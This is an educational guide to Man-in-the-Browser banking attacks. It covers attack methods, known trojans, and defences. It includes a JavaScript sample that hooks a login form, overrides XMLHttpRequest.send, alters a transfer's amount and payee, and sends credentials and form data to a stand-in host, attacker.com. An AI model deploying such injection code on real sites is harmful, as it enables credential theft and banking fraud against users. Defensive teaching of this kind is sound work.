Man-in-the-Browser (MitB) is a sophisticated form of cyberattack where malware infects a user's web browser to intercept, modify, or inject content into web transactions in real-time—bypassing SSL/TLS encryption, two-factor authentication (2FA), and other security controls. Unlike Man-in-the-Middle (MitM) attacks that operate at network level, MitB operates within the browser itself (through browser extensions, DLL injection, or JavaScript hooks), making it invisible to both the user and the web server. MitB is primarily used to steal banking credentials, online payment information, and credit card data.
Attack Prevalence: MitB malware was responsible for 80% of online banking fraud in 2010-2015 (Zeus, SpyEye). Modern MitB attacks decreased with browser security improvements, but still active in targeted campaigns. Average financial loss per MitB attack: $50,000-$500,000.
Common targets of Man-in-the-Browser attacks:
Malware installed via phishing email (malicious attachment), drive-by download, software bundling, or exploit kit.
Malware injects malicious DLL (Windows) or browser extension to intercept browser APIs (DOM, HTTP requests).
When user visits bank website, malware modifies DOM (web page) in real-time, injecting fake fields (additional amount, account number).
Malware captures login credentials, credit card numbers, and modifies transactions before submission.
// Man-in-the-Browser (MitB) attack technical flow
// 1. Malware injects JavaScript into banking website
// Victim visits bank.com, malware hooks DOMContentLoaded
document.addEventListener('DOMContentLoaded', function() {
// Intercept login form submission
var loginForm = document.getElementById('loginForm');
loginForm.addEventListener('submit', function(e) {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// Send credentials to attacker server
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({username: username, password: password})
});
});
});
// 2. Web injection (modify transaction amount)
// Victim initiates $100 transfer → malware changes to $10,000
var amountField = document.getElementById('amount');
amountField.value = '10000'; // Changed from $100 to $10,000
// 3. Web injection (add additional payee)
var payeeField = document.getElementById('payee');
payeeField.value = 'Attacker Account';
// 4. Form grabbing (intercept form data before HTTPS encryption)
XMLHttpRequest.prototype.send = function(data) {
// Capture form data before encryption
if (this.url.includes('/transfer')) {
fetch('https://attacker.com/capture', {method: 'POST', body: data});
}
return originalSend(data);
};
Malware injects malicious DLL into browser process (chrome.exe, firefox.exe). Intercepts Windows API calls (Send, Recv, WSASend, WSARecv). Works on Internet Explorer (BHO) and older browsers. Modern browsers (Chrome, Firefox) have stronger process isolation.
Malware installs malicious Chrome/Firefox extensions with permissions: "read and modify all your data on websites", "manage your downloads". Extension injects JavaScript into banking websites to steal credentials, modify transactions.
Malware injects JavaScript into HTML pages (DOM manipulation) to add fake login forms, modify transaction amounts, or add additional payees. Uses document.createElement, innerHTML, or eval. Bypasses HTTPS because malware runs in browser context.
Malware intercepts form data (username, password, credit card) before HTTPS encryption. Overrides XMLHttpRequest.send, fetch, or hooks WinHTTP APIs. Bypasses SSL/TLS entirely.
Infamous banking Trojan (2007-2014) with MitB capabilities. Stole millions in financial credentials via web injection and form grabbing. Source code leaked (2011) leading to many variants. Used for online banking fraud, credential theft.
Banking Trojan (2010-2013) with MitB capabilities similar to Zeus. Targeted online banking customers. Features: web injection, form grabbing, credential theft, and automatic transfer system (ATS).
MitB banking Trojan (2007-2015) targeting financial institutions in US, UK, Europe. Used web injection and form grabbing to steal credentials. Gozi variant "Vawtrak" active until 2018.
Banking Trojan (2010-2015) with MitB capabilities. Web injection, form grabbing, credential theft. Stole $20+ million from financial institutions before takedown (2015).
Modern banking Trojan (2016-2022) with web injection modules for MitB attacks. Targets online banking, crypto exchanges, and email providers. Uses HTML injection to add fake login forms.
Check installed extensions regularly (chrome://extensions/, about:addons). Remove unfamiliar extensions with permissions: "read and modify all your data". Look for generic names ("Helper", "Assistant", "Security Tool").
Modern EDR solutions (CrowdStrike, Microsoft Defender for Endpoint) detect MitB malware (Zeus, SpyEye, TrickBot, Ramnit) via process injection detection and behavior monitoring (suspicious DLL injection into browser).
Slow browser performance, unexpected pop-ups, redirects to unfamiliar websites, browser crashes, or new toolbars/extensions appearing without user action.
Use dedicated computer for financial transactions (no email, web browsing, software downloads). Reduces infection risk from malware delivered via phishing or drive-by downloads.
Deploy EDR/antivirus with MitB malware detection (Zeus, SpyEye, TrickBot). Enable real-time protection and regular scanning (weekly full scans).
Only install extensions from official stores (Chrome Web Store, Firefox Add-ons). Regularly audit extensions (remove unused). Disable extensions when not needed.
Mobile apps (iOS, Android) have stronger isolation than desktop browsers. Banking apps use certificate pinning, code signing, and hardware-backed keystores, making MitB harder.
Best Practice - Dedicated Banking Device: Use separate, dedicated device for online banking (no email, web browsing, or untrusted software). Keep device patched and antivirus updated. Enable transaction confirmation via SMS or authenticator app (2FA). Regularly audit browser extensions.
Man-in-the-Browser (MitB) attacks (banking fraud, credential theft) are illegal in all jurisdictions with severe penalties:
Man-in-the-Browser attacks (MitB) are illegal. Penalties include:
Important: This guide is for educational and defensive purposes only. Unauthorized MitB attacks are illegal.
Technical analysis of Zeus banking Trojan and MitB capabilities.
OWASP recommendations for preventing Man-in-the-Browser attacks.